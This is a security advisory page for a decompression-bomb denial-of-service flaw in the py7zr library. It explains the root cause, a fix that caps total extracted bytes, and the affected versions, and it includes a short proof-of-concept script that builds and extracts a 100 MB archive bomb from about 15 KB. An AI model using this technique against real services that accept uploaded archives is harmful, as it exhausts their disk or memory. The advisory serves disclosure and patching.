py7zr: Decompression bomb (zip bomb) denial of service via unchecked extraction sizeGHSA-gjrg-mpp7-g774
GHSA-gjrg-mpp7-g774 is a CWE-409 vulnerability in py7zr. A fix is available for py7zr — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-gjrg-mpp7-g774.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
py7zrReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
py7zr's Worker.decompress() extracts archive entries without tracking total decompressed size. A crafted .7z file can exhaust disk or memory before the extraction completes.
Measured: 15.6 KB archive → 100 MB output (6,556:1 ratio).
Proof of concept:
import py7zr, tempfile, os
# create bomb: compress 100MB of zeros into ~15KB
bomb_path = tempfile.mktemp(suffix='.7z')
with py7zr.SevenZipFile(bomb_path, 'w') as z:
import io
z.writef(io.BytesIO(b'\x00' * 100 * 1024 * 1024), 'bomb.bin')
print(f'archive size: {os.path.getsize(bomb_path):,} bytes')
# extract — no size check
with py7zr.SevenZipFile(bomb_path, 'r') as z:
z.extractall(path=tempfile.mkdtemp())
print('extracted 100 MB from ~15 KB archive')
Root cause: Worker.decompress() in py7zr/worker.py writes decompressed data directly to disk without a running total or configurable size limit. There is no equivalent of Python's zipfile max_size parameter.
Fix: track cumulative decompressed bytes and raise before writing if a limit is exceeded:
MAX_EXTRACT_SIZE = 2 * 1024 ** 3 # 2 GB default, configurable
total = 0
for chunk in decompressed_chunks:
total += len(chunk)
if total > MAX_EXTRACT_SIZE:
raise py7zr.exceptions.DecompressionBombError(
f'Extraction aborted: decompressed size exceeded {MAX_EXTRACT_SIZE} bytes'
)
outfile.write(chunk)
Tested on py7zr 0.22.0, Python 3.12, Ubuntu 22.04.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | py7zr | all versions | 1.1.3pip install --upgrade 'py7zr==1.1.3' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for py7zr, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update py7zr to 1.1.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-gjrg-mpp7-g774 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
This Moderate impact flaw in the py7zr Python library can lead to a denial of service when processing specially crafted 7zip archives. An attacker could provide a malicious archive that, upon decompression, exhausts system resources such as disk space or memory, impacting the availability of services that utilize…
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.Source: Red Hat security advisory for GHSA-gjrg-mpp7-g774 (CC BY 4.0)
Frequently Asked Questions
Is GHSA-gjrg-mpp7-g774 in your dependencies?
Find it across PyPI, including transitive dependencies.